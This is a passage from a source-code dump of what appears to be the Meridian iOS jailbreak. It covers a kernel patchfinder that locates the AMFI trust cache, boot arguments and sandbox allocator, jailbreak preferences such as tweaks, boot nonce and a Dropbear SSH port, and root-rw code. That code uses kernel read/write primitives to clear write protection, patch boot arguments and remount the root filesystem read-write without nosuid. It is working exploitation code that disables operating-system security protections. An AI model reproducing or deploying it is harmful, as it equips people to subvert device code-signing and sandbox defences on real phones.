0xFF000000) == 0x58000000) {\n            unsigned adr = (op & 0xFFFFE0) >> 3;\n            //printf(\"%llx: LDR X%d, =0x%llx\\n\", i, reg, adr + i);\n            value[reg] = adr + i;\t\t// XXX address, not actual value\n        }\n        if (value[reg] == what) {\n            return i;\n        }\n    }\n    return 0;\n}\n\nstatic addr_t\ncalc64(const uint8_t *buf, addr_t start, addr_t end, int which)\n{\n    addr_t i;\n    uint64_t value[32];\n\n    memset(value, 0, sizeof(value));\n\n    end &= ~3;\n    for (i = start & ~3; i < end; i += 4) {\n        uint32_t op = *(uint32_t *)(buf + i);\n        unsigned reg = op & 0x1F;\n        if ((op & 0x9F000000) == 0x90000000) {\n            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);\n            //printf(\"%llx: ADRP X%d, 0x%llx\\n\", i, reg, ((long long)adr << 1) + (i & ~0xFFF));\n            value[reg] = ((long long)adr << 1) + (i & ~0xFFF);\n        /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {\n            unsigned rd = op & 0x1F;\n            unsigned rm = (op >> 16) & 0x1F;\n            //printf(\"%llx: MOV X%d, X%d\\n\", i, rd, rm);\n            value[rd] = value[rm];*/\n        } else if ((op & 0xFF000000) == 0x91000000) {\n            unsigned rn = (op >> 5) & 0x1F;\n            unsigned shift = (op >> 22) & 3;\n            unsigned imm = (op >> 10) & 0xFFF;\n            if (shift == 1) {\n                imm <<= 12;\n            } else {\n                //assert(shift == 0);\n                if (shift > 1) continue;\n            }\n            //printf(\"%llx: ADD X%d, X%d, 0x%x\\n\", i, reg, rn, imm);\n            value[reg] = value[rn] + imm;\n        } else if ((op & 0xF9C00000) == 0xF9400000) {\n            unsigned rn = (op >> 5) & 0x1F;\n            unsigned imm = ((op >> 10) & 0xFFF) << 3;\n            //printf(\"%llx: LDR X%d, [X%d, 0x%x]\\n\", i, reg, rn, imm);\n            if (!imm) continue;\t\t\t// XXX not counted as true xref\n            value[reg] = value[rn] + imm;\t// XXX address, not actual value\n        } else if ((op & 0xF9C00000) == 0xF9000000) {\n            unsigned rn = (op >> 5) & 0x1F;\n            unsigned imm = ((op >> 10) & 0xFFF) << 3;\n            //printf(\"%llx: STR X%d, [X%d, 0x%x]\\n\", i, reg, rn, imm);\n            if (!imm) continue;\t\t\t// XXX not counted as true xref\n            value[rn] = value[rn] + imm;\t// XXX address, not actual value\n        } else if ((op & 0x9F000000) == 0x10000000) {\n            signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);\n            //printf(\"%llx: ADR X%d, 0x%llx\\n\", i, reg, ((long long)adr >> 11) + i);\n            value[reg] = ((long long)adr >> 11) + i;\n        } else if ((op & 0xFF000000) == 0x58000000) {\n            unsigned adr = (op & 0xFFFFE0) >> 3;\n            //printf(\"%llx: LDR X%d, =0x%llx\\n\", i, reg, adr + i);\n            value[reg] = adr + i;\t\t// XXX address, not actual value\n        }\n    }\n    return value[which];\n}\n\nstatic addr_t\ncalc64mov(const uint8_t *buf, addr_t start, addr_t end, int which)\n{\n    addr_t i;\n    uint64_t value[32];\n\n    memset(value, 0, sizeof(value));\n\n    end &= ~3;\n    for (i = start & ~3; i < end; i += 4) {\n        uint32_t op = *(uint32_t *)(buf + i);\n        unsigned reg = op & 0x1F;\n        uint64_t newval;\n        int rv = DecodeMov(op, value[reg], 0, &newval);\n        if (rv == 0) {\n            if (((op >> 31) & 1) == 0) {\n                newval &= 0xFFFFFFFF;\n            }\n            value[reg] = newval;\n        }\n    }\n    return value[which];\n}\n\nstatic addr_t\nfind_call64(const uint8_t *buf, addr_t start, size_t length)\n{\n    return step64(buf, start, length, 0x94000000, 0xFC000000);\n}\n\nstatic addr_t\nfollow_call64(const uint8_t *buf, addr_t call)\n{\n    long long w;\n    w = *(uint32_t *)(buf + call) & 0x3FFFFFF;\n    w <<= 64 - 26;\n    w >>= 64 - 26 - 2;\n    return call + w;\n}\n\nstatic addr_t\nfollow_cbz(const uint8_t *buf, addr_t cbz)\n{\n    return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13);\n}\n\n/* kernel iOS10 **************************************************************/\n\n#include <fcntl.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <mach-o/loader.h>\n\n#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__\n#include <mach/mach.h>\nsize_t kread(uint64_t where, void *p, size_t size);\n#endif\n\nstatic uint8_t *kernel = NULL;\nstatic size_t kernel_size = 0;\n\nstatic addr_t xnucore_base = 0;\nstatic addr_t xnucore_size = 0;\nstatic addr_t prelink_base = 0;\nstatic addr_t prelink_size = 0;\nstatic addr_t cstring_base = 0;\nstatic addr_t cstring_size = 0;\nstatic addr_t pstring_base = 0;\nstatic addr_t pstring_size = 0;\nstatic addr_t data_base = 0;\nstatic addr_t data_size = 0;\nstatic addr_t data_const_base = 0;\nstatic addr_t data_const_size = 0;\nstatic addr_t kerndumpbase = -1;\nstatic addr_t kernel_entry = 0;\nstatic void *kernel_mh = 0;\nstatic addr_t kernel_delta = 0;\n\nint\ninit_patchfinder(const char *filename)\n{\n    size_t rv;\n    uint8_t buf[0x4000];\n    unsigned i, j;\n    const struct mach_header *hdr = (struct mach_header *)buf;\n    const uint8_t *q;\n    addr_t min = -1;\n    addr_t max = 0;\n    int is64 = 0;\n    \n#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__\n#define close(f)\n    rv = kread(kernel_base, buf, sizeof(buf));\n    if (rv != sizeof(buf)) {\n        printf(\"failed kread, got size: %zu \\n\", rv);\n        return -1;\n    }\n#else\t/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */\n    printf(\"this code right here has run ............. \\n\");\n    int fd = open(filename, O_RDONLY);\n    if (fd < 0) {\n        printf(\"failed at open, got fd: %s \\n\", fd);\n        return -1;\n    }\n\n    rv = rk32_via_tfp0(tfp0, fd);\n    //rv = read(fd, buf, sizeof(buf));\n    if (rv != sizeof(buf)) {\n        close(fd);\n        printf(\"failed at buf read, got rv: %d \\n\", rv);\n        return -1;\n    }\n#endif\t/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */\n\n    if (!MACHO(buf)) {\n        close(fd);\n        printf(\"failed macho, buf: %s \\n\", buf);\n        return -1;\n    }\n\n    if (IS64(buf)) {\n        is64 = 4;\n    }\n\n    q = buf + sizeof(struct mach_header) + is64;\n    for (i = 0; i < hdr->ncmds; i++) {\n        const struct load_command *cmd = (struct load_command *)q;\n        if (cmd->cmd == LC_SEGMENT_64) {\n            const struct segment_command_64 *seg = (struct segment_command_64 *)q;\n            if (min > seg->vmaddr) {\n                min = seg->vmaddr;\n            }\n            if (max < seg->vmaddr + seg->vmsize) {\n                max = seg->vmaddr + seg->vmsize;\n            }\n            if (!strcmp(seg->segname, \"__TEXT_EXEC\")) {\n                xnucore_base = seg->vmaddr;\n                xnucore_size = seg->filesize;\n            }\n            if (!strcmp(seg->segname, \"__PLK_TEXT_EXEC\")) {\n                prelink_base = seg->vmaddr;\n                prelink_size = seg->filesize;\n            }\n            if (!strcmp(seg->segname, \"__TEXT\")) {\n                const struct section_64 *sec = (struct section_64 *)(seg + 1);\n                for (j = 0; j < seg->nsects; j++) {\n                    if (!strcmp(sec[j].sectname, \"__cstring\")) {\n                        cstring_base = sec[j].addr;\n                        cstring_size = sec[j].size;\n                    }\n                }\n            }\n            if (!strcmp(seg->segname, \"__PRELINK_TEXT\")) {\n                const struct section_64 *sec = (struct section_64 *)(seg + 1);\n                for (j = 0; j < seg->nsects; j++) {\n                    if (!strcmp(sec[j].sectname, \"__text\")) {\n                        pstring_base = sec[j].addr;\n                        pstring_size = sec[j].size;\n                    }\n                }\n            }\n            if (!strcmp(seg->segname, \"__LINKEDIT\")) {\n                kernel_delta = seg->vmaddr - min - seg->fileoff;\n            }\n            if (!strcmp(seg->segname, \"__DATA\")) {\n                const struct section_64 *sec = (struct section_64 *)(seg + 1);\n                for (j = 0; j < seg->nsects; j++) {\n                    if (!strcmp(sec[j].sectname, \"__data\")) {\n                        data_base = sec[j].addr;\n                        data_size = sec[j].size;\n                    }\n                }\n            }\n            if (!strcmp(seg->segname, \"__DATA_CONST\")) {\n                const struct section_64 *sec = (struct section_64 *)(seg + 1);\n                for (j = 0; j < seg->nsects; j++) {\n                    data_const_base = sec[j].addr;\n                    data_const_size = sec[j].size;\n                }\n            }\n        }\n        if (cmd->cmd == LC_UNIXTHREAD) {\n            uint32_t *ptr = (uint32_t *)(cmd + 1);\n            uint32_t flavor = ptr[0];\n            struct {\n                uint64_t x[29];\t/* General purpose registers x0-x28 */\n                uint64_t fp;\t/* Frame pointer x29 */\n                uint64_t lr;\t/* Link register x30 */\n                uint64_t sp;\t/* Stack pointer x31 */\n                uint64_t pc; \t/* Program counter */\n                uint32_t cpsr;\t/* Current program status register */\n            } *thread = (void *)(ptr + 2);\n            if (flavor == 6) {\n                kernel_entry = thread->pc;\n            }\n        }\n        q = q + cmd->cmdsize;\n    }\n\n    kerndumpbase = min;\n    xnucore_base -= kerndumpbase;\n    prelink_base -= kerndumpbase;\n    cstring_base -= kerndumpbase;\n    pstring_base -= kerndumpbase;\n    kernel_size = max - min;\n\n#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__\n    kernel = malloc(kernel_size);\n    if (!kernel) {\n        printf(\"failed to malloc kern \\n\");\n        return -1;\n    }\n    \n    rv = kread(kerndumpbase, kernel, kernel_size);\n    // rv = kread(kerndumpbase, kernel, kernel_size);\n    if (rv != kernel_size) {\n        free(kernel);\n        printf(\"failed to kread kern, rv: %zu \\n\", rv);\n        return -1;\n    }\n\n    kernel_mh = kernel + kernel_base - min;\n\n    (void)filename;\n#undef close\n#else\t/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */\n    kernel = calloc(1, kernel_size);\n    if (!kernel) {\n        close(fd);\n        printf(\"failed to calloc kern, kernel: %d \\n\", kernel);\n        return -1;\n    }\n\n    q = buf + sizeof(struct mach_header) + is64;\n    for (i = 0; i < hdr->ncmds; i++) {\n        const struct load_command *cmd = (struct load_command *)q;\n        if (cmd->cmd == LC_SEGMENT_64) {\n            const struct segment_command_64 *seg = (struct segment_command_64 *)q;\n            size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);\n            if (sz != seg->filesize) {\n                close(fd);\n                free(kernel);\n                printf(\"sz != seg->filesize, sz: %zu\", sz);\n                return -1;\n            }\n            if (!kernel_mh) {\n                kernel_mh = kernel + seg->vmaddr - min;\n            }\n            if (!strcmp(seg->segname, \"__LINKEDIT\")) {\n                kernel_delta = seg->vmaddr - min - seg->fileoff;\n            }\n        }\n        q = q + cmd->cmdsize;\n    }\n\n    close(fd);\n\n    (void)base;\n#endif\t/* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */\n    return 0;\n}\n\nvoid\nterm_kernel(void)\n{\n    free(kernel);\n}\n\n/* these operate on VA ******************************************************/\n\n#define INSN_RET  0xD65F03C0, 0xFFFFFFFF\n#define INSN_CALL 0x94000000, 0xFC000000\n#define INSN_B    0x14000000, 0xFC000000\n#define INSN_CBZ  0x34000000, 0xFC000000\n\naddr_t\nfind_register_value(addr_t where, int reg)\n{\n    addr_t val;\n    addr_t bof = 0;\n    where -= kerndumpbase;\n    if (where > xnucore_base) {\n        bof = bof64(kernel, xnucore_base, where);\n        if (!bof) {\n            bof = xnucore_base;\n        }\n    } else if (where > prelink_base) {\n        bof = bof64(kernel, prelink_base, where);\n        if (!bof) {\n            bof = prelink_base;\n        }\n    }\n    val = calc64(kernel, bof, where, reg);\n    if (!val) {\n        return 0;\n    }\n    return val + kerndumpbase;\n}\n\naddr_t\nfind_reference(addr_t to, int n, int prelink)\n{\n    addr_t ref, end;\n    addr_t base = xnucore_base;\n    addr_t size = xnucore_size;\n    if (prelink) {\n        base = prelink_base;\n        size = prelink_size;\n    }\n    if (n <= 0) {\n        n = 1;\n    }\n    end = base + size;\n    to -= kerndumpbase;\n    do {\n        ref = xref64(kernel, base, end, to);\n        if (!ref) {\n            return 0;\n        }\n        base = ref + 4;\n    } while (--n > 0);\n    return ref + kerndumpbase;\n}\n\naddr_t\nfind_strref(const char *string, int n, int prelink)\n{\n    uint8_t *str;\n    addr_t base = cstring_base;\n    addr_t size = cstring_size;\n    if (prelink) {\n        base = pstring_base;\n        size = pstring_size;\n    }\n    str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string));\n    if (!str) {\n        return 0;\n    }\n    return find_reference(str - kernel + kerndumpbase, n, prelink);\n}\n\naddr_t find_trustcache(void) {\n    addr_t call, func, val;\n    addr_t ref = find_strref(\"amfi_prevent_old_entitled_platform_binaries\", 1, 1);\n    if (!ref) {\n        ref = find_strref(\"com.apple.MobileFileIntegrity\", 1, 1);\n    }\n    if (!ref) {\n        printf(\"didnt find string ref\\n\");\n        return 0;\n    }\n    ref -= kerndumpbase;\n    call = step64(kernel, ref, 32, INSN_CALL);\n    if (!call) {\n        printf(\"couldn't find the call\\n\");\n        return 0;\n    }\n    call = step64(kernel, call+4, 32, INSN_CALL);\n    func = follow_call64(kernel, call);\n    if (!func) {\n        printf(\"couldn't follow the call\\n\");\n        return 0;\n    }\n    val = calc64(kernel, func, func + 16, 8);\n    if (!val) {\n        return 0;\n    }\n    return val + kerndumpbase;\n}\n\naddr_t find_amficache(void) {\n    addr_t call, func, bof, val;\n    addr_t ref = find_strref(\"amfi_prevent_old_entitled_platform_binaries\", 1, 1);\n    if (!ref) {\n        ref = find_strref(\"com.apple.MobileFileIntegrity\", 1, 1);\n    }\n    if (!ref) {\n        printf(\"didnt find string ref\\n\");\n        return 0;\n    }\n    ref -= kerndumpbase;\n    call = step64(kernel, ref, 32, INSN_CALL);\n    if (!call) {\n        printf(\"couldn't find the call\\n\");\n        return 0;\n    }\n    call = step64(kernel, call+4, 32, INSN_CALL);\n    func = follow_call64(kernel, call);\n    if (!func) {\n        printf(\"couldn't follow the call\\n\");\n        return 0;\n    }\n    bof = bof64(kernel, func - 256, func);\n    if (!bof) {\n        printf(\"couldn't find the start of the function\\n\");\n        return 0;\n    }\n    val = calc64(kernel, bof, func, 9);\n    if (!val) {\n        printf(\"couldn't find x9\\n\");\n        return 0;\n    }\n    return val + kerndumpbase;\n}\n\nuint64_t find_boot_args(unsigned* cmdline_offset) {\n    /*\n     ADRP            X8, #_PE_state@PAGE\n     ADD             X8, X8, #_PE_state@PAGEOFF\n     LDR             X8, [X8,#(PE_state__boot_args - 0xFFFFFFF0078BF098)]\n     ADD             X8, X8, #0x6C\n     STR             X8, [SP,#0x550+var_550]\n     ADRP            X0, #aBsdInitCannotF@PAGE ; \"\\\"bsd_init: cannot find root vnode: %s\"...\n     ADD             X0, X0, #aBsdInitCannotF@PAGEOFF ; \"\\\"bsd_init: cannot find root vnode: %s\"...\n     BL              _panic\n     */\n\n    addr_t ref = find_strref(\"\\\"bsd_init: cannot find root vnode: %s\\\"\", 1, 0);\n\n    if (ref == 0) {\n        return 0;\n    }\n\n    ref -= kerndumpbase;\n    // skip add & adrp for panic str\n    ref -= 8;\n    uint32_t *insn = (uint32_t*)(kernel+ref);\n\n    // skip str\n    --insn;\n    // add xX, xX, #cmdline_offset\n    uint8_t xm = *insn&0x1f;\n    if (((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {\n        return 0;\n    }\n\n    *cmdline_offset = (*insn>>10) & 0xfff;\n\n    uint64_t val = kerndumpbase;\n\n    --insn;\n    // ldr xX, [xX, #(PE_state__boot_args - PE_state)]\n    if ((*insn & 0xF9C00000) != 0xF9400000) {\n        return 0;\n    }\n    // xd == xX, xn == xX,\n    if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) {\n        return 0;\n    }\n\n    val += ((*insn >> 10) & 0xFFF) << 3;\n\n    --insn;\n    // add xX, xX, #_PE_state@PAGEOFF\n    if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {\n        return 0;\n    }\n\n    val += (*insn>>10) & 0xfff;\n\n    --insn;\n    if ((*insn & 0x1f) != xm) {\n        return 0;\n    }\n\n    // pc\n    val += ((uint8_t*)(insn) - kernel) & ~0xfff;\n\n    // don't ask, I wrote this at 5am\n    val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000);\n\n    return val;\n}\n\naddr_t find_add_x0_x0_0x40_ret(void) {\n    addr_t off;\n    uint32_t *k;\n    k = (uint32_t *)(kernel + xnucore_base);\n    for (off = 0; off < xnucore_size - 4; off += 4, k++) {\n        if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {\n            return off + xnucore_base + kerndumpbase;\n        }\n    }\n    k = (uint32_t *)(kernel + prelink_base);\n    for (off = 0; off < prelink_size - 4; off += 4, k++) {\n        if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {\n            return off + prelink_base + kerndumpbase;\n        }\n    }\n    return 0;\n}\n\naddr_t find_OSBoolean_True(void) {\n    addr_t val;\n    addr_t ref = find_strref(\"Delay Autounload\", 0, 0);\n    if (!ref) {\n        return 0;\n    }\n    ref -= kerndumpbase;\n    \n    addr_t weird_instruction = 0;\n    for (int i = 4; i < 4*0x100; i+=4) {\n        uint32_t op = *(uint32_t *)(kernel + ref + i);\n        if (op == 0x320003E0) {\n            weird_instruction = ref+i;\n            break;\n        }\n    }\n    if (!weird_instruction) {\n        return 0;\n    }\n    \n    val = calc64(kernel, ref, weird_instruction, 8);\n    if (!val) {\n        return 0;\n    }\n    \n    return rk64(val + kerndumpbase);\n}\n\naddr_t find_OSBoolean_False(void) {\n    return find_OSBoolean_True() + 8;\n}\n\naddr_t find_OSUnserializeXML(void) {\n    addr_t ref = find_strref(\"OSUnserializeXML: %s near line %d\\n\", 1, 0);\n    ref -= kerndumpbase;\n    uint64_t start = bof64(kernel, xnucore_base, ref);\n    return start + kerndumpbase;\n}\n\naddr_t find_smalloc(void) {\n    addr_t ref = find_strref(\"sandbox memory allocation failure\", 1, 1);\n    ref -= kerndumpbase;\n    uint64_t start = bof64(kernel, prelink_base, ref);\n    return start + kerndumpbase;\n}\n\naddr_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final) {\n    addr_t match[6] = { 1, 0x14, 0x14, sha1_init, sha1_update, sha1_final };\n    \n    addr_t ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_const_base - kerndumpbase), data_const_size, (unsigned char*)match, sizeof(match));\n    \n    if (ref == 0) ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_base - kerndumpbase), data_size, (unsigned char*)match, sizeof(match));\n    \n    if (ref == 0) return 0;\n    \n    addr_t *testing = (addr_t *)ref;\n    ref = ref - (addr_t)kernel + kerndumpbase;\n    \n    if (*(testing - 6) == 2 && *(testing + 6) != 2) {\n        match[0] = ref;\n        match[1] = ref - 0x30;\n        match[2] = ref - 0x30 * 2;\n        match[3] = ref - 0x30 * 3;\n    } else if (*(testing - 6) != 2 && *(testing + 6) == 2) {\n        match[0] = ref;\n        match[1] = ref + 0x30;\n        match[2] = ref + 0x30 * 2;\n        match[3] = ref + 0x30 * 3;\n    } else {\n        return 0;\n    }\n    \n    ref = (addr_t)boyermoore_horspool_memmem(kernel + (data_const_base - kerndumpbase), data_const_size, (unsigned char*)match, 8*4);\n    \n    if (ref != 0) return ref - (addr_t)kernel + kerndumpbase;\n    \n    return 0;\n}\n"
  },
  {
    "path": "Meridian/Meridian/patchfinders/patchfinder64.h",
    "content": "#ifndef PATCHFINDER64_H_\n#define PATCHFINDER64_H_\n\n#import \"common.h\"\n#import <mach/mach.h>\n\nint init_patchfinder(const char *filename);\nvoid term_kernel(void);\n\nenum { SearchInCore, SearchInPrelink };\n\nuint64_t find_register_value(uint64_t where, int reg);\nuint64_t find_reference(uint64_t to, int n, int prelink);\nuint64_t find_strref(const char *string, int n, int prelink);\n\n// amfi trust cache patching\nuint64_t find_trustcache(void);\nuint64_t find_amficache(void);\n\n// lwvm patching for <10.3\nuint64_t find_boot_args(unsigned *cmdline_offset);\n\n// used in jailbreakd\nuint64_t find_add_x0_x0_0x40_ret(void);\nuint64_t find_OSBoolean_True(void);\nuint64_t find_OSBoolean_False(void);\nuint64_t find_OSUnserializeXML(void);\nuint64_t find_smalloc(void);\nuint64_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final);\n\n#endif\n"
  },
  {
    "path": "Meridian/Meridian/preferences.h",
    "content": "//\n//  Preferences.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 28/07/2018.\n//\n\n#ifndef Preferences_h\n#define Preferences_h\n\nenum {\n    Port22 = 0,\n    Port2222,\n    Port222222\n};\n\nvoid setTweaksEnabled(BOOL enabled);\nBOOL tweaksAreEnabled(void);\nvoid setStartLaunchDaemonsEnabled(BOOL enabled);\nBOOL startLaunchDaemonsIsEnabled(void);\nvoid setBootNonceValue(uint64_t bootNonce);\nuint64_t getBootNonceValue(void);\nvoid setStartDropbearEnabled(BOOL enabled);\nBOOL startDropbearIsEnabled(void);\nvoid setListenPort(NSInteger portOption);\nNSInteger listenPort(void);\n\n#endif /* Preferences_h */\n"
  },
  {
    "path": "Meridian/Meridian/preferences.m",
    "content": "//\n//  Preferences.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 28/07/2018.\n//\n\n#import <Foundation/Foundation.h>\n\n#import \"preferences.h\"\n\n#define TweaksKey               @\"tweaksAreEnabled\"\n#define StartLaunchDaemonsKey   @\"startLaunchDaemonsEnabled\"\n#define BootNonceKey            @\"bootNonce\"\n#define StartDropbearKey        @\"startDropbearEnabled\"\n#define PortKey                 @\"listenPortOption\"\n\n#define ELECTRA_GENERATOR       0xbd34a880be0b53f3\n\nvoid setTweaksEnabled(BOOL enabled) {\n    [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:TweaksKey];\n    [[NSUserDefaults standardUserDefaults] synchronize];\n}\n\nBOOL tweaksAreEnabled() {\n    NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:TweaksKey];\n    \n    return (enabled) ? [enabled boolValue] : true;\n}\n\nvoid setStartLaunchDaemonsEnabled(BOOL enabled) {\n    [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartLaunchDaemonsKey];\n    [[NSUserDefaults standardUserDefaults] synchronize];\n}\n\nBOOL startLaunchDaemonsIsEnabled() {\n    NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartLaunchDaemonsKey];\n    \n    return (enabled) ? [enabled boolValue] : true;\n}\n\nvoid setBootNonceValue(uint64_t bootNonce) {\n    [[NSUserDefaults standardUserDefaults] setInteger:bootNonce forKey:BootNonceKey];\n    [[NSUserDefaults standardUserDefaults] synchronize];\n}\n\nuint64_t getBootNonceValue() {\n    NSInteger integer = [[NSUserDefaults standardUserDefaults] integerForKey:BootNonceKey];\n    \n    return (integer != 0x0) ? integer : ELECTRA_GENERATOR;\n}\n\nvoid setStartDropbearEnabled(BOOL enabled) {\n    [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartDropbearKey];\n    [[NSUserDefaults standardUserDefaults] synchronize];\n}\n\nBOOL startDropbearIsEnabled() {\n    NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartDropbearKey];\n    \n    return (enabled) ? [enabled boolValue] : false;\n}\n\nvoid setListenPort(NSInteger portOption) {\n    [[NSUserDefaults standardUserDefaults] setInteger:portOption forKey:PortKey];\n    [[NSUserDefaults standardUserDefaults] synchronize];\n}\n\nNSInteger listenPort(void) {\n    NSNumber *portOption = [[NSUserDefaults standardUserDefaults] objectForKey:PortKey];\n    \n    return (portOption) ? portOption.integerValue : Port222222;\n}\n"
  },
  {
    "path": "Meridian/Meridian/root-rw.h",
    "content": "//\n//  root-rw.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#include <mach/mach.h>\n#include <sys/mount.h>\n\nint mount_root(uint64_t kslide, uint64_t root_vnode, int pre130);\n"
  },
  {
    "path": "Meridian/Meridian/root-rw.m",
    "content": "//\n//  root-rw.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#include \"root-rw.h\"\n#include \"kernel.h\"\n#include \"patchfinder64.h\"\n#include \"helpers.h\"\n#include \"ViewController.h\"\n#include \"offsetfinder.h\"\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/utsname.h>\n#include <sys/types.h>\n#include <sys/sysctl.h>\n\n#define MOUNT_MNT_FLAG    0x70\n#define VNODE_V_UN        0xd8\n#define VNODE_V_UN_OTHER  0xd0\n\nconst unsigned OFF_LWVM__PARTITIONS = 0x1a0;\nconst unsigned OFF_LWVMPART__ISWP = 0x28;\nconst unsigned OFF_PROC__TASK = 0x18;\nconst unsigned OFF_IPC_PORT__IP_KOBJECT = 0x68;\nconst unsigned OFF_IPC_SPACE__IS_TABLE = 0x20;\nconst unsigned SIZ_IPC_ENTRY_T = 0x18;\nconst unsigned OFF_TASK__ITK_SPACE = 0x300;\n\n#define rkbuffer(w, p, s) kread(w, p, s);\n#define wkbuffer(w, p, s) kwrite(w, p, s);\n\ntypedef mach_port_t io_service_t;\ntypedef mach_port_t io_connect_t;\nextern const mach_port_t kIOMasterPortDefault;\nCFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;\nio_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);\nkern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect);\n\nbool fix_root_iswriteprotected() {\n    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"LightweightVolumeManager\"));\n    if (!MACH_PORT_VALID(service)) {\n        return false;\n    }\n    \n    uint64_t inkernel = find_port_address(service);\n\n    uint64_t lwvm_kaddr = rk64(inkernel + OFF_IPC_PORT__IP_KOBJECT);\n    uint64_t rootp_kaddr = rk64(lwvm_kaddr + OFF_LWVM__PARTITIONS);\n    uint64_t varp_kaddr = rk64(lwvm_kaddr + OFF_LWVM__PARTITIONS + sizeof(void*));\n\n    uint64_t rootp_iswp_addr = rootp_kaddr + OFF_LWVMPART__ISWP;\n    uint64_t varp_iswp_addr = varp_kaddr + OFF_LWVMPART__ISWP;\n    \n    // Check we found the right values\n    uint64_t varp_iswp = rk64(varp_iswp_addr);\n    if (varp_iswp != 0) {\n        NSLog(@\"rk64(varp_iswp_addr) != 0! val: %llx\", varp_iswp);\n        return false;\n    }\n    \n    uint64_t rootp_iswp = rk64(rootp_iswp_addr);\n    if (rootp_iswp != 1) {\n        NSLog(@\"rk64(rootp_iswp_addr) != 1! val: %llx\", rootp_iswp);\n        return false;\n    }\n    \n    wk64(rootp_iswp_addr, 0);\n    return true;\n}\n\n#define BOOTARGS_PATCH \"rd=mdx\"\nbool fake_rootedramdisk(void) {\n    unsigned cmdline_offset;\n    uint64_t pestate_bootargs = find_boot_args(&cmdline_offset);\n\n    if (pestate_bootargs == 0) {\n        return false;\n    }\n\n    uint64_t struct_boot_args = rk64(pestate_bootargs);\n    uint64_t boot_args_cmdline = struct_boot_args + cmdline_offset;\n\n    // max size is 256 on arm\n    char buf_bootargs[256];\n\n    rkbuffer(boot_args_cmdline, buf_bootargs, sizeof(buf_bootargs));\n    strcat(buf_bootargs, BOOTARGS_PATCH);\n    wkbuffer(boot_args_cmdline, buf_bootargs, sizeof(buf_bootargs));\n\n    bzero(buf_bootargs, sizeof(buf_bootargs));\n    size_t size = sizeof(buf_bootargs);\n    int err = sysctlbyname(\"kern.bootargs\", buf_bootargs, &size, NULL, 0);\n\n    if (err) {\n        NSLog(@\"sysctlbyname(kern.bootargs) failed\");\n        return false;\n    }\n\n    if (strstr(buf_bootargs, BOOTARGS_PATCH) == NULL) {\n        NSLog(@\"kern.bootargs doesn't contain '%s' after patch!\", BOOTARGS_PATCH);\n        NSLog(@\"kern.bootargs: '%s'\", buf_bootargs);\n        return false;\n    }\n\n    return true;\n}\n\n// props to xerub for the original '/' r/w remount code\nint remount_root(uint64_t kslide, uint64_t root_vnode) {\n    int ret;\n    \n    uint64_t _rootnode = root_vnode + kslide;\n    \n    NSLog(@\"_rootnode = %llx\", _rootnode);\n    \n    uint64_t rootfs_vnode = rk64(_rootnode);\n    \n    NSLog(@\"roofs_vnode = %llx\", rootfs_vnode);\n    \n    uint64_t off = VNODE_V_UN;\n    struct utsname uts;\n    uname(&uts);\n    if (strstr(uts.version, \"16.0.0\")) {\n        off = VNODE_V_UN_OTHER;\n    }\n    \n    // read the original flags\n    uint64_t v_mount = rk64(rootfs_vnode + off);\n    uint32_t v_flag = rk32(v_mount + MOUNT_MNT_FLAG);\n    \n    NSLog(@\"original flags = %x\", v_flag);\n    \n    // unset rootfs flag\n    wk32(v_mount + MOUNT_MNT_FLAG, v_flag & ~MNT_ROOTFS);\n    \n    // remount\n    char *nmz = strdup(\"/dev/disk0s1s1\");\n    ret = mount(\"hfs\", \"/\", MNT_UPDATE | MNT_NOATIME, (void *)&nmz);\n    NSLog(@\"remounting: %d\", ret);\n    \n    // read back the new flags set by `mount`\n    v_mount = rk64(rootfs_vnode + off);\n    v_flag = rk32(v_mount + MOUNT_MNT_FLAG);\n    \n    NSLog(@\"post-mount flags = %x\", v_flag);\n    \n    // set back rootfs & unset nosuid\n    v_flag = v_flag |  MNT_ROOTFS;\n    v_flag = v_flag & ~MNT_NOSUID;\n    \n    wk32(v_mount 